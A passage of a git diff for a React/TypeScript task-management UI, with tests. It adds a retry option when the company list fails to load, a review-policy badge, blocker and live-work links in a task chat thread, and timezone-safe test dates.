+    await flushReact();
+    await openMenu("Open Acme Labs company switcher");
+
+    expect(document.body.textContent).toContain("Couldn't load companies");
+    expect(document.body.textContent).not.toContain("No companies");
+
+    const retryItem = Array.from(document.body.querySelectorAll('[role="menuitem"]')).find(
+      (item) => item.textContent?.includes("Try again"),
+    );
+    expect(retryItem).not.toBeUndefined();
+
+    act(() => {
+      retryItem?.dispatchEvent(new PointerEvent("pointerdown", { bubbles: true, button: 0 }));
+      retryItem?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+    });
+    await flushReact();
+
+    expect(mockCompanyState.retryCompanies).toHaveBeenCalled();
+
+    act(() => {
+      root.unmount();
+    });
+  });
+
+  it("still reports an account that owns no companies as empty, not broken", async () => {
+    mockCompanyState.companies = [];
+    mockCompanyState.companyListUnavailable = false;
+
+    const { root } = renderMenu();
+    await flushReact();
+    await openMenu("Open Acme Labs company switcher");
+
+    expect(document.body.textContent).toContain("No companies");
+    expect(document.body.textContent).not.toContain("Couldn't load companies");
+
+    act(() => {
+      root.unmount();
+    });
+  });
+
   it("uses company-centric create copy without the chat flag", async () => {
     const root = createRoot(container);
     const queryClient = new QueryClient({
diff --git a/ui/src/components/SidebarCompanyMenu.tsx b/ui/src/components/SidebarCompanyMenu.tsx
index 7ae98991591..5b193a214cc 100644
--- a/ui/src/components/SidebarCompanyMenu.tsx
+++ b/ui/src/components/SidebarCompanyMenu.tsx
@@ -6,6 +6,7 @@ import {
   GripVertical,
   LogOut,
   Plus,
+  RefreshCw,
   UserPlus,
 } from "lucide-react";
 import {
@@ -198,7 +199,8 @@ function SortableCompanyItem({
 export function SidebarCompanyMenu({ open: controlledOpen, onOpenChange }: SidebarCompanyMenuProps = {}) {
   const [internalOpen, setInternalOpen] = useState(false);
   const [isEditingOrder, setIsEditingOrder] = useState(false);
-  const { companies, selectedCompany, setSelectedCompanyId } = useCompany();
+  const { companies, selectedCompany, setSelectedCompanyId, companyListUnavailable, retryCompanies } =
+    useCompany();
   const { openOnboarding } = useDialogActions();
   const { isMobile, setSidebarOpen, collapsed, peeking } = useSidebar();
   const rail = collapsed && !peeking;
@@ -437,7 +439,27 @@ export function SidebarCompanyMenu({ open: controlledOpen, onOpenChange }: Sideb
                 </SortableContext>
               </DndContext>
               {orderedCompanies.length === 0 ? (
-                <DropdownMenuItem disabled>No companies</DropdownMenuItem>
+                // "No companies" is a claim about the account. After a failed
+                // list request it is one we cannot make, and this menu is the
+                // only place the customer can act on it — say what happened and
+                // offer the way back.
+                companyListUnavailable ? (
+                  <>
+                    <DropdownMenuItem disabled>Couldn&apos;t load companies</DropdownMenuItem>
+                    <DropdownMenuItem
+                      onSelect={(event) => {
+                        // Keep the menu open so the result of the retry is visible.
+                        event.preventDefault();
+                        void retryCompanies();
+                      }}
+                    >
+                      <RefreshCw className="h-4 w-4 mr-2" />
+                      Try again
+                    </DropdownMenuItem>
+                  </>
+                ) : (
+                  <DropdownMenuItem disabled>No companies</DropdownMenuItem>
+                )
               ) : null}
             </>
           )}
diff --git a/ui/src/components/StalledReviewActions.tsx b/ui/src/components/StalledReviewActions.tsx
index ab3aadc5624..d2b801c6277 100644
--- a/ui/src/components/StalledReviewActions.tsx
+++ b/ui/src/components/StalledReviewActions.tsx
@@ -1,11 +1,13 @@
 import { useState, type ReactNode } from "react";
 import { useMutation, useQueryClient } from "@tanstack/react-query";
 import { CheckCircle2, Loader2, RotateCcw, Undo2 } from "lucide-react";
-import type { StalledReviewDecisionAction } from "@paperclipai/shared";
+import type { IssueReviewPolicy, StalledReviewDecisionAction } from "@paperclipai/shared";
 import { issuesApi } from "../api/issues";
 import { useToastActions } from "../context/ToastContext";
 import { queryKeys } from "../lib/queryKeys";
+import { issueReviewPolicyBadge } from "../lib/review-policy";
 import { cn } from "../lib/utils";
+import { Badge } from "./ui/badge";
 import { Button } from "./ui/button";
 import { Textarea } from "./ui/textarea";
 
@@ -16,6 +18,12 @@ interface StalledReviewActionsProps {
   footerSlot?: ReactNode;
   /** Fired after a decision lands so the surface can navigate / close / refetch extras. */
   onResolved?: (action: StalledReviewDecisionAction) => void;
+  /**
+   * The issue's `reviewPolicy` (PAP-16506). Only an opt-in constraint is shown;
+   * the default — `null`/`"anyone"` — renders nothing, because "anyone can
+   * approve" is what every issue already does.
+   */
+  reviewPolicy?: IssueReviewPolicy | null;
   className?: string;
 }
 
@@ -40,6 +48,7 @@ export function StalledReviewActions({
   companyId,
   footerSlot,
   onResolved,
+  reviewPolicy,
   className,
 }: StalledReviewActionsProps) {
   const queryClient = useQueryClient();
@@ -73,9 +82,25 @@ export function StalledReviewActions({
   const noteEmpty = note.trim().length === 0;
   const runningFor = (action: StalledReviewDecisionAction) =>
     pending && decide.variables === action;
+  const policyBadge = issueReviewPolicyBadge(reviewPolicy);
 
   return (
     <div className={cn("flex flex-col gap-3", className)}>
+      {/* Only a constrained policy gets a badge: the server refuses a verdict
+          from the wrong actor, so the card has to warn before offering Approve.
+          The default needs no line — anyone with write access can approve. */}
+      {policyBadge ? (
+        <Badge
+          variant="outline"
+          className="max-w-full min-w-0 self-start font-normal"
+          data-testid="review-policy-badge"
+          data-review-policy={policyBadge.value}
+          title={policyBadge.description}
+        >
+          <policyBadge.Icon aria-hidden />
+          <span className="min-w-0 truncate">{policyBadge.label}</span>
+        </Badge>
+      ) : null}
       <Textarea
         value={note}
         onChange={(event) => setNote(event.target.value)}
diff --git a/ui/src/components/SummarySlotCard.test.tsx b/ui/src/components/SummarySlotCard.test.tsx
index 4e81c718ee3..3a0fd086b5b 100644
--- a/ui/src/components/SummarySlotCard.test.tsx
+++ b/ui/src/components/SummarySlotCard.test.tsx
@@ -409,22 +409,28 @@ describe("SummarySlotCard", () => {
   });
 
   it("switches to a historical revision from a dated dropdown", async () => {
+    // Local, not UTC: the dropdown renders these dates in the machine's
+    // timezone, so `2026-07-14T17:10:00.000Z` is the 15th at UTC+9 and the
+    // "Jul 14" assertions below fail. Midday local keeps each revision on its
+    // intended calendar day everywhere.
+    const localAt = (day: number, hour: number) =>
+      new Date(2026, 6, day, hour, 0, 0, 0).toISOString();
     mockSummarySlotsApi.get.mockResolvedValue({
       slot: slot({ documentId: "doc-1" }),
       document: summaryDocument({
         body: "## Latest\nCurrent body",
         latestRevisionId: "rev-3",
         latestRevisionNumber: 3,
-        updatedAt: "2026-07-14T17:10:00.000Z",
+        updatedAt: localAt(14, 17),
       }),
       generatingIssue: null,
     } satisfies GetSummarySlotResponse);
     mockSummarySlotsApi.revisions.mockResolvedValue({
       slot: slot({ documentId: "doc-1" }),
       revisions: [
-        revision({ id: "rev-1", revisionNumber: 1, body: "## Old\nOld body", createdAt: "2026-07-13T17:10:00.000Z" }),
-        revision({ id: "rev-2", revisionNumber: 2, body: "## Middle\nMiddle body", createdAt: "2026-07-14T09:15:00.000Z" }),
-        revision({ id: "rev-3", revisionNumber: 3, body: "## Latest\nCurrent body", createdAt: "2026-07-14T17:10:00.000Z" }),
+        revision({ id: "rev-1", revisionNumber: 1, body: "## Old\nOld body", createdAt: localAt(13, 17) }),
+        revision({ id: "rev-2", revisionNumber: 2, body: "## Middle\nMiddle body", createdAt: localAt(14, 9) }),
+        revision({ id: "rev-3", revisionNumber: 3, body: "## Latest\nCurrent body", createdAt: localAt(14, 17) }),
       ],
     });
 
diff --git a/ui/src/components/TaskChatThread.test.tsx b/ui/src/components/TaskChatThread.test.tsx
index 43c91427627..ab47408b1db 100644
--- a/ui/src/components/TaskChatThread.test.tsx
+++ b/ui/src/components/TaskChatThread.test.tsx
@@ -20,6 +20,11 @@ vi.mock("@/context/SidebarContext", () => ({
 vi.mock("@/hooks/useIssuePlanDocument", () => ({
   useIssuePlanDocument: () => ({ data: null }),
 }));
+vi.mock("@/lib/router", () => ({
+  Link: ({ to, children, ...props }: { to: string; children: React.ReactNode }) => (
+    <a href={to} {...props}>{children}</a>
+  ),
+}));
 vi.mock("@/components/MarkdownEditor", () => ({
   MarkdownEditor: forwardRef(function MockMarkdownEditor(
     { value }: { value: string },
@@ -53,11 +58,39 @@ function render(ui: ReactElement) {
   flushSync(() => root!.render(<ThemeProvider>{ui}</ThemeProvider>));
 }
 
+function fakeScrollGeometry(
+  element: HTMLElement,
+  { scrollHeight = 1000, clientHeight = 400, scrollTop = 600 } = {},
+) {
+  let currentScrollTop = scrollTop;
+  Object.defineProperty(element, "scrollHeight", { value: scrollHeight, configurable: true });
+  Object.defineProperty(element, "clientHeight", { value: clientHeight, configurable: true });
+  Object.defineProperty(element, "scrollTop", {
+    get: () => currentScrollTop,
+    set: (value: number) => {
+      currentScrollTop = value;
+    },
+    configurable: true,
+  });
+}
+
 describe("TaskChatThread draft pass-through", () => {
   it("keeps the composer dock aligned with the thread's horizontal padding", () => {
     render(
       <TaskChatThread
-        comments={[]}
+        comments={[{
+          id: "comment-1",
+          companyId: "company-1",
+          issueId: "issue-1",
+          authorType: "user",
+          authorAgentId: null,
+          authorUserId: "user-1",
+          body: "Waiting for the dependency.",
+          presentation: null,
+          metadata: null,
+          createdAt: new Date("2026-08-15T12:00:00.000Z"),
+          updatedAt: new Date("2026-08-15T12:00:00.000Z"),
+        }]}
         onAdd={async () => {}}
       />,
     );
@@ -83,8 +116,8 @@ describe("TaskChatThread draft pass-through", () => {
   });
 });
 
-describe("TaskChatThread composer alignment (PAP-498)", () => {
-  it("matches the thread width on mobile and stays narrower on larger screens", () => {
+describe("TaskChatThread composer alignment", () => {
+  it("matches the thread width at every breakpoint", () => {
     render(<TaskChatThread comments={[]} onAdd={async () => {}} />);
 
     const dock = container
@@ -92,7 +125,341 @@ describe("TaskChatThread composer alignment (PAP-498)", () => {
       ?.closest("div.sticky") as HTMLElement | null;
 
     expect(dock?.className).toContain("w-full");
-    expect(dock?.className).toContain("md:w-(--pct-80)");
+    expect(dock?.className).toContain("max-w-(--tc-shell-max-w)");
+    expect(dock?.className).not.toContain("md:w-(--pct-80)");
+  });
+});
+
+describe("TaskChatThread blocker links", () => {
+  it("shows the direct and server-selected terminal blocker at the top and bottom", () => {
+    const terminalBlocker = {
+      id: "terminal-2",
+      identifier: "PAP-777",
+      title: "Actual work",
+      status: "in_progress" as const,
+      priority: "high" as const,
+      assigneeAgentId: "agent-2",
+      assigneeUserId: null,
+    };
+    const directBlocker = {
+      id: "direct-2",
+      identifier: "PAP-600",
+      title: "Waiting in review",
+      status: "in_review" as const,
+      priority: "medium" as const,
+      assigneeAgentId: "agent-1",
+      assigneeUserId: null,
+      terminalBlockers: [terminalBlocker],
+    };
+
+    render(
+      <TaskChatThread
+        comments={[]}
+        onAdd={async () => {}}
+        issueStatus="blocked"
+        blockedBy={[
+          {
+            id: "direct-1",
+            identifier: "PAP-500",
+            title: "Different dependency",
+            status: "todo",
+            priority: "low",
+            assigneeAgentId: null,
+            assigneeUserId: null,
+          },
+          directBlocker,
+        ]}
+        blockerAttention={{
+          state: "needs_attention",
+          reason: "attention_required",
+          unresolvedBlockerCount: 2,
+          coveredBlockerCount: 0,
+          stalledBlockerCount: 0,
+          attentionBlockerCount: 1,
+          sampleBlockerIdentifier: "PAP-777",
+          sampleStalledBlockerIdentifier: null,
+          terminalBlockerIssueId: terminalBlocker.id,
+        }}
+      />,
+    );
+
+    const notices = container.querySelectorAll('[data-testid="task-chat-blocker-links"]');
+    expect(notices).toHaveLength(2);
+    expect(notices[0]?.getAttribute("data-placement")).toBe("top");
+    expect(notices[1]?.getAttribute("data-placement")).toBe("bottom");
+    for (const notice of notices) {
+      expect(notice.textContent).toContain("Blocked byPAP-600Waiting in review");
+      expect(notice.textContent).toContain("Ultimately blocked byPAP-777Actual work");
+      expect(notice.querySelector('a[href="/issues/PAP-600"]')).not.toBeNull();
+      expect(notice.querySelector('a[href="/issues/PAP-777"]')).not.toBeNull();
+    }
+    expect(container.textContent).not.toContain("Different dependency");
+    expect(container.textContent).not.toContain("This task resumes automatically");
+  });
+
+  it("shows the ordered live-work queue at the top and bottom", () => {
+    const terminalBlocker = {
+      id: "terminal-running",
+      identifier: "PAP-17426",
+      title: "Restore live alias projection",
+      status: "in_progress" as const,
+      priority: "high" as const,
+      assigneeAgentId: "agent-3",
+      assigneeUserId: null,
+    };
+
+    render(
+      <TaskChatThread
+        comments={[]}
+        onAdd={async () => {}}
+        issueStatus="blocked"
+        liveIssueIds={new Set(["direct-running", "terminal-running"])}
+        blockerAttention={{
+          state: "covered",
+          reason: "active_dependency",
+          unresolvedBlockerCount: 2,
+          coveredBlockerCount: 2,
+          stalledBlockerCount: 0,
+          attentionBlockerCount: 0,
+          sampleBlockerIdentifier: "PAP-17426",
+          sampleStalledBlockerIdentifier: null,
+          blockingTreeLive: true,
+          directBlockerIssueId: "direct-running",
+          terminalBlockerIssueId: terminalBlocker.id,
+          terminalBlocker,
+        }}
+        blockedBy={[
+          {
+            id: "direct-queued",
+            identifier: "PAP-17427",
+            title: "Verify the completed projection",
+            status: "todo",
+            priority: "medium",
+            assigneeAgentId: "agent-4",
+            assigneeUserId: null,
+          },
+          {
+            id: "direct-running",
+            identifier: "PAP-17425",
+            title: "Verify the live projection",
+            status: "in_progress",
+            priority: "medium",
+            assigneeAgentId: "agent-2",
+            assigneeUserId: null,
+            terminalBlockers: [terminalBlocker],
+          },
+          {
+            id: "direct-done",
+            identifier: "PAP-17424",
+            title: "Run the guarded cutover",
+            status: "done",
+            priority: "medium",
+            assigneeAgentId: "agent-1",
+            assigneeUserId: null,
+          },
+        ]}
+      />,
+    );
+
+    const notices = container.querySelectorAll('[data-testid="task-chat-live-work-links"]');
+    expect(notices).toHaveLength(2);
+    expect(notices[0]?.getAttribute("data-placement")).toBe("top");
+    expect(notices[1]?.getAttribute("data-placement")).toBe("bottom");
+    for (const notice of notices) {
+      expect(notice.textContent).toContain("Waiting on live work");
+      const orderedLinks = [...notice.querySelectorAll('[data-testid="task-chat-live-work-step"] a')]
+        .map((link) => link.textContent);
+      expect(orderedLinks).toEqual([
+        "PAP-17424Run the guarded cutover",
+        "PAP-17425Verify the live projection",
+        "PAP-17427Verify the completed projection",
+      ]);
+      expect(notice.textContent).toContain("Now runningPAP-17426Restore live alias projection");
+      expect(notice.querySelector('a[href="/issues/PAP-17426"]')).not.toBeNull();
+    }
+    expect(container.querySelector('[data-testid="task-chat-blocker-links"]')).toBeNull();
+  });
+
+  it("keeps the compact blocker rows when covered work is no longer live", () => {
+    render(
+      <TaskChatThread
+        comments={[]}
+        onAdd={async () => {}}
+        issueStatus="blocked"
+        liveIssueIds={new Set()}
+        blockerAttention={{
+          state: "covered",
+          reason: "active_dependency",
+          unresolvedBlockerCount: 1,
+          coveredBlockerCount: 1,
+          stalledBlockerCount: 0,
+          attentionBlockerCount: 0,
+          sampleBlockerIdentifier: "PAP-500",
+          sampleStalledBlockerIdentifier: null,
+          blockingTreeLive: false,
+        }}
+        blockedBy={[{
+          id: "direct-1",
+          identifier: "PAP-500",
+          title: "Direct dependency",
+          status: "todo",
+          priority: "medium",
+          assigneeAgentId: "agent-1",
+          assigneeUserId: null,
+        }]}
+      />,
+    );
+
+    expect(container.querySelector('[data-testid="task-chat-live-work-links"]')).toBeNull();
+    expect(container.querySelectorAll('[data-testid="task-chat-blocker-links"]')).toHaveLength(2);
+  });
+
+  it("shows only the direct row when the blocker has no deeper unresolved leaf", () => {
+    render(
+      <TaskChatThread
+        comments={[]}
+        onAdd={async () => {}}
+        issueStatus="blocked"
+        blockedBy={[{
+          id: "direct-1",
+          identifier: "PAP-500",
+          title: "Direct dependency",
+          status: "in_progress",
+          priority: "medium",
+          assigneeAgentId: "agent-1",
+          assigneeUserId: null,
+        }]}
+      />,
+    );
+
+    expect(container.querySelectorAll('[data-testid="task-chat-blocker-links"]')).toHaveLength(2);
+    expect(container.textContent).toContain("Blocked byPAP-500Direct dependency");
+    expect(container.textContent).not.toContain("Ultimately blocked by");
+  });
+
+  it("keeps a server-selected intermediate blocker on its direct chain", () => {
+    const selectedIntermediate = {
+      id: "intermediate-2",
+      identifier: "PAP-650",
+      title: "Stalled intermediate review",
+    };
+    const selectedDirect = {
+      id: "direct-2",
+      identifier: "PAP-600",
+      title: "Selected dependency",
+      status: "blocked" as const,
+      priority: "medium" as const,
+      assigneeAgentId: "agent-1",
+      assigneeUserId: null,
+      terminalBlockers: [{
+        id: "leaf-2",
+        identifier: "PAP-700",
+        title: "Deeper structural leaf",
+        status: "todo" as const,
+        priority: "medium" as const,
+        assigneeAgentId: "agent-2",
+        assigneeUserId: null,
+      }],
+    };
+
+    render(
+      <TaskChatThread
+        comments={[]}
+        onAdd={async () => {}}
+        issueStatus="blocked"
+        blockedBy={[
+          {
+            id: "direct-1",
+            identifier: "PAP-500",
+            title: "Unrelated dependency",
+            status: "todo",
+            priority: "low",
+            assigneeAgentId: null,
+            assigneeUserId: null,
+          },
+          selectedDirect,
+        ]}
+        blockerAttention={{
+          state: "stalled",
+          reason: "stalled_review",
+          unresolvedBlockerCount: 2,
+          coveredBlockerCount: 0,
+          stalledBlockerCount: 1,
+          attentionBlockerCount: 1,
+          sampleBlockerIdentifier: "PAP-650",
+          sampleStalledBlockerIdentifier: "PAP-650",
+          directBlockerIssueId: selectedDirect.id,
+          terminalBlockerIssueId: selectedIntermediate.id,
+          terminalBlocker: selectedIntermediate,
+        }}
+      />,
+    );
+
+    for (const notice of container.querySelectorAll('[data-testid="task-chat-blocker-links"]')) {
+      expect(notice.textContent).toContain("Blocked byPAP-600Selected dependency");
+      expect(notice.textContent).toContain("Ultimately blocked byPAP-650Stalled intermediate review");
+    }
+    expect(container.textContent).not.toContain("Unrelated dependency");
+    expect(container.textContent).not.toContain("Deeper structural leaf");
+  });
+
+  it("auto-follows the new bottom blocker row when a pinned thread becomes blocked", () => {
+    const comment = {
+      id: "comment-1",
+      companyId: "company-1",
+      issueId: "issue-1",
+      authorType: "user" as const,
+      authorAgentId: null,
+      authorUserId: "user-1",
+      body: "Waiting for the dependency.",
+      presentation: null,
+      metadata: null,
+      createdAt: new Date("2026-08-15T12:00:00.000Z"),
+      updatedAt: new Date("2026-08-15T12:00:00.000Z"),
+    };
+    const directBlocker = {
+      id: "direct-1",
+      identifier: "PAP-500",
+      title: "Direct dependency",
+      status: "in_progress" as const,
+      priority: "medium" as const,
+      assigneeAgentId: "agent-1",
+      assigneeUserId: null,
+    };
+    const baseProps = {
+      comments: [comment],
+      onAdd: async () => {},
+      blockedBy: [directBlocker],
+    };
+
+    render(<TaskChatThread {...baseProps} issueStatus="in_progress" />);
+    const scroller = container.querySelector<HTMLElement>('[data-testid="task-chat-scroller"]')!;
+    fakeScrollGeometry(scroller);
+
+    render(<TaskChatThread {...baseProps} issueStatus="blocked" />);
+
+    expect(scroller.scrollTop).toBe(scroller.scrollHeight);
+  });
+
+  it("does not show blocker rows outside the blocked state", () => {
+    render(
+      <TaskChatThread
+        comments={[]}
+        onAdd={async () => {}}
+        issueStatus="in_progress"
+        blockedBy={[{
+          id: "direct-1",
+          identifier: "PAP-500",
+          title: "Direct dependency",
+          status: "in_progress",
+          priority: "medium",
+          assigneeAgentId: "agent-1",
+          assigneeUserId: null,
+        }]}
+      />,
+    );
+
+    expect(container.querySelector('[data-testid="task-chat-blocker-links"]')).toBeNull();
   });
 });
 
@@ -186,6 +553,50 @@ describe("TaskChatThread mobile composer dock (PAP-495)", () => {
 });
 
 describe("TaskChatThread live transcript", () => {
+  it("surfaces the live runtime status while no transcript has streamed yet", () => {
+    // Sandbox runs spend their first minutes in preparation phases (config
+    // seed, workspace sync) with zero transcript entries. The tail must show
+    // the run's runtime-progress status instead of an opaque wait message.
+    const baseRun = {
+      id: "run-prep",
+      status: "running" as const,
+      invocationSource: "issue" as const,
+      triggerDetail: null,
+      startedAt: "2026-08-07T00:00:00.000Z",
+      finishedAt: null,
+      createdAt: "2026-08-07T00:00:00.000Z",
+      agentId: "agent-1",
+      agentName: "Coder",
+      adapterType: "claude_local",
+    };
+
+    render(
+      <TaskChatThread
+        comments={[]}
+        onAdd={async () => {}}
+        issueStatus="in_progress"
+        activeRun={{ ...baseRun, currentStatusMessage: "Syncing workspace to environment" }}
+      />,
+    );
+
+    const tail = container.querySelector('[data-testid="task-chat-live-transcript"]');
+    expect(tail).not.toBeNull();
+    expect(tail!.textContent).toContain("Syncing workspace to environment");
+    expect(tail!.textContent).not.toContain("Waiting for transcript...");
+
+    // Without a runtime status, the generic wait message still shows.
+    render(
+      <TaskChatThread
+        comments={[]}
+        onAdd={async () => {}}
+        issueStatus="in_progress"
+        activeRun={{ ...baseRun, id: "run-prep-2" }}
+      />,
+    );
+    const tail2 = container.querySelector('[data-testid="task-chat-live-transcript"]');
+    expect(tail2!.textContent).toContain("Waiting for transcript...");
+  });
+
   it("renders in-flight output through TaskChatLiveTail, dropping the debug plumbing (PAP-463 C1)", () => {
     // Interleave the exact noise the old RunTranscriptView tail surfaced (init
     // row, stdout/stderr/system dumps) with real content. Only the streamed
diff --git a/ui/src/components/TaskChatThread.tsx b/ui/src/components/TaskChatThread.tsx
index 86ce55de929..b6e27856fdf 100644
--- a/ui/src/components/TaskChatThread.tsx
+++ b/ui/src/components/TaskChatThread.tsx
@@ -45,6 +45,12 @@ import { Button } from "@/components/ui/button";
 import { useIssuePlanDocument } from "@/hooks/useIssuePlanDocument";
 import { latestSameRunHandoffTimestamp } from "@/lib/issue-chat-messages";
 import { isLiveIssueRun, isTerminalIssueStatus } from "@/lib/liveIssueIds";
+import {
+  resolveTaskChatBlockers,
+  resolveTaskChatLiveWork,
+  TaskChatBlockerLinks,
+  TaskChatLiveWorkLinks,
+} from "@/components/task-chat/TaskChatBlockerLinks";
 
 function toMs(value: Date | string | null | undefined): number {
   if (!value) return 0;
@@ -57,6 +63,7 @@ function toMs(value: Date | string | null | undefined): number {
 // off to (e.g. a stopped run with no tool activity). Normal completions hand off
 // well within this as soon as the settled turn/comment lands.
 const SETTLING_TAIL_MAX_MS = 15_000;
+const EMPTY_LIVE_ISSUE_IDS: ReadonlySet<string> = new Set<string>();
 
 export type TaskChatThreadProps = ComponentProps<typeof IssueChatThread>;
 
@@ -126,8 +133,62 @@ export function TaskChatThread(props: TaskChatThreadProps) {
     draftKey,
     onInterruptQueued,
     interruptingQueuedRunId,
+    blockedBy = [],
+    blockerAttention,
+    liveIssueIds,
   } = props;
 
+  const liveWorkLinks = useMemo(
+    () => issueStatus === "blocked" && blockerAttention?.state === "covered"
+      ? resolveTaskChatLiveWork(blockedBy, liveIssueIds ?? EMPTY_LIVE_ISSUE_IDS, blockerAttention.terminalBlocker)
+      : null,
+    [blockedBy, blockerAttention?.state, blockerAttention?.terminalBlocker, issueStatus, liveIssueIds],
+  );
+
+  const blockerLinks = useMemo(
+    () => issueStatus === "blocked" && !liveWorkLinks
+      ? resolveTaskChatBlockers(
+          blockedBy,
+          blockerAttention?.terminalBlockerIssueId,
+          blockerAttention?.directBlockerIssueId,
+          blockerAttention?.terminalBlocker,
+        )
+      : null,
+    [
+      blockedBy,
+      blockerAttention?.directBlockerIssueId,
+      blockerAttention?.terminalBlocker,
+      blockerAttention?.terminalBlockerIssueId,
+      issueStatus,
+      liveWorkLinks,
+    ],
+  );
+
+  const threadHeaderWithBlockers = threadHeader || blockerLinks || liveWorkLinks ? (
+    <>
+      {threadHeader}
+      {liveWorkLinks ? (
+        <TaskChatLiveWorkLinks liveWork={liveWorkLinks} placement="top" />
+      ) : blockerLinks ? (
+        <TaskChatBlockerLinks
+          directBlocker={blockerLinks.directBlocker}
+          ultimateBlocker={blockerLinks.ultimateBlocker}
+          placement="top"
+        />
+      ) : null}
+    </>
+  ) : undefined;
+
+  const bottomBlockerLinks = liveWorkLinks ? (
+    <TaskChatLiveWorkLinks liveWork={liveWorkLinks} placement="bottom" />
+  ) : blockerLinks ? (
+    <TaskChatBlockerLinks
+      directBlocker={blockerLinks.directBlocker}
+      ultimateBlocker={blockerLinks.ultimateBlocker}
+      placement="bottom"
+    />
+  ) : null;
+
   const linkedRunMetaById = useMemo(() => {
     const map = new Map<string, NonNullable<TaskChatThreadProps["linkedRuns"]>[number]>();
     for (const run of linkedRuns ?? []) map.set(run.runId, run);
@@ -436,7 +497,12 @@ export function TaskChatThread(props: TaskChatThreadProps) {
     if ("content" in entry) return total + entry.content.length;
     return total + entry.kind.length;
   }, tailEntries.length);
-  const threadContentKey = taskChatContentKey(items) + tailContentKey;
+  const blockerContentKey = blockerLinks
+    ? `${blockerLinks.directBlocker.id}:${blockerLinks.ultimateBlocker?.id ?? ""}`
+    : liveWorkLinks
+      ? `live:${liveWorkLinks.steps.map((step) => `${step.blocker.id}:${step.status}`).join(",")}:${liveWorkLinks.nowRunning.map((blocker) => blocker.id).join(",")}`
+      : "";
+  const threadContentKey = `${taskChatContentKey(items)}:${tailContentKey}:${blockerContentKey}`;
 
   // Status-pill inputs for the tail (PAP-461, A1): the run's start, its finish
   // (once terminal), and the "called N tools" summary. Memoized on the
@@ -592,41 +658,57 @@ export function TaskChatThread(props: TaskChatThreadProps) {
       <div className={cn("flex flex-col", !isMobile && "min-h-0 flex-1")}>
         {items.length === 0 && !tailRunId ? (
           <div className={isMobile ? undefined : "min-h-0 flex-1 overflow-y-auto"}>
-            {threadHeader ? (
+            {threadHeaderWithBlockers ? (
               <div
                 className="mx-auto flex w-full max-w-(--tc-shell-max-w) flex-col gap-6 px-4 pt-4"
                 data-testid="task-chat-thread-header"
               >
-                {threadHeader}
+                {threadHeaderWithBlockers}
               </div>
             ) : null}
             <div className="px-3 py-10 text-center text-sm text-muted-foreground">{emptyMessage}</div>
+            {bottomBlockerLinks ? (
+              <div className="mx-auto w-full max-w-(--tc-shell-max-w) px-4 pb-4">
+                {bottomBlockerLinks}
+              </div>
+            ) : null}
           </div>
         ) : (
           <TaskChatThreadView
             items={items}
-            header={threadHeader}
+            header={threadHeaderWithBlockers}
             renderInteraction={renderInteraction}
             renderBrief={issueBrief ? () => <TaskChatDescriptionBubble brief={issueBrief} /> : undefined}
             renderMessageActions={renderMessageActions}
             renderQueuedAction={renderQueuedAction}
-            tail={tailRunId ? (
-              <div data-testid="task-chat-live-transcript">
-                <TaskChatLiveRunPill
-                  status={tailStatus}
-                  startedAtMs={tailStartedAtMs}
-                  finishedAtMs={tailFinishedAtMs}
-                  toolSummary={tailToolSummary}
-                />
-                <TaskChatLiveTail
-                  items={tailItems}
-                  emptyMessage={
-                    tailStatus === "queued"
-                      ? "Waiting to start..."
-                      : "Waiting for transcript..."
-                  }
-                />
-              </div>
+            tail={tailRunId || bottomBlockerLinks ? (
+              <>
+                {tailRunId ? (
+                  <div data-testid="task-chat-live-transcript">
+                    <TaskChatLiveRunPill
+                      status={tailStatus}
+                      startedAtMs={tailStartedAtMs}
+                      finishedAtMs={tailFinishedAtMs}
+                      toolSummary={tailToolSummary}
+                    />
+                    <TaskChatLiveTail
+                      items={tailItems}
+                      emptyMessage={
+                        tailStatus === "queued"
+                          ? "Waiting to start..."
+                          : // Before the first transcript token, surface the run's
+                            // live runtime status (sandbox preparation phases like
+                            // "Syncing workspace to environment" emitted via
+                            // onRuntimeProgress) instead of an opaque wait message.
+                            (liveRun && liveRun.id === tailRunId
+                              ? liveRun.currentStatusMessage
+                              : null) || "Waiting for transcript..."
+                      }
+                    />
+                  </div>
+                ) : null}
+                {bottomBlockerLinks}
+              </>
             ) : null}
             contentKey={threadContentKey}
             scroll={!isMobile}
@@ -650,9 +732,7 @@ export function TaskChatThread(props: TaskChatThreadProps) {
             isMobile
               ? "bottom-(--tc-composer-bottom) z-20 transition-[bottom] duration-200 ease-out"
               : "bottom-0 z-10",
-            // Match the thread width on mobile. Keep the intentionally
-            // narrower composer on larger screens.
-            "mx-auto flex w-full max-w-(--tc-shell-max-w) flex-col gap-2 bg-background/80 px-4 pb-2 pt-1 backdrop-blur supports-[backdrop-filter]:bg-background/60 md:w-(--pct-80)",
+            "mx-auto flex w-full max-w-(--tc-shell-max-w) flex-col gap-2 bg-background/80 px-4 pb-2 pt-1 backdrop-blur supports-[backdrop-filter]:bg-background/60",
           )}
         >
           {composerAccessory}
diff --git a/ui/src/components/WorkspaceAccessCard.test.tsx b/ui/src/components/WorkspaceAccessCard.test.tsx
new file mode 100644
index 00000000000..9c93bca108d
--- /dev/null
+++ b/ui/src/components/WorkspaceAccessCard.test.tsx
@@ -0,0 +1,194 @@
+// @vitest-environment jsdom
+
+import { flushSync } from "react-dom";
+import { createRoot } from "react-dom/client";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { WorkspaceAccessCard } from "./WorkspaceAccessCard";
+import type { WorkspaceAccessState } from "../lib/workspace-access-state";
+
+// eslint-disable-next-line @typescript-eslint/no-explicit-any
+(globalThis as any).IS_REACT_ACT_ENVIRONMENT = true;
+
+function act(callback: () => void) {
+  flushSync(callback);
+}
+
+function accessState(overrides: Partial<WorkspaceAccessState> = {}): WorkspaceAccessState {
+  return {
+    state: "ready",
+    title: "Ready",
+    description: "Opening the workspace signs you in to the cloned board without a password.",
+    action: { kind: "open", label: "Open workspace" },
+    handoffAvailable: true,
+    ...overrides,
+  };
+}
+
+describe("WorkspaceAccessCard", () => {
+  let container: HTMLDivElement;
+
+  beforeEach(() => {
+    container = document.createElement("div");
+    document.body.appendChild(container);
+  });
+
+  afterEach(() => {
+    document.body.innerHTML = "";
+  });
+
+  function renderCard(props: Partial<Parameters<typeof WorkspaceAccessCard>[0]> = {}) {
+    const handlers = {
+      onOpen: vi.fn(),
+      onStart: vi.fn(),
+      onRepair: vi.fn(),
+      onViewLogs: vi.fn(),
+    };
+    const root = createRoot(container);
+    act(() => {
+      root.render(<WorkspaceAccessCard access={accessState()} {...handlers} {...props} />);
+    });
+    const button = container.querySelector("button");
+    return { ...handlers, root, button };
+  }
+
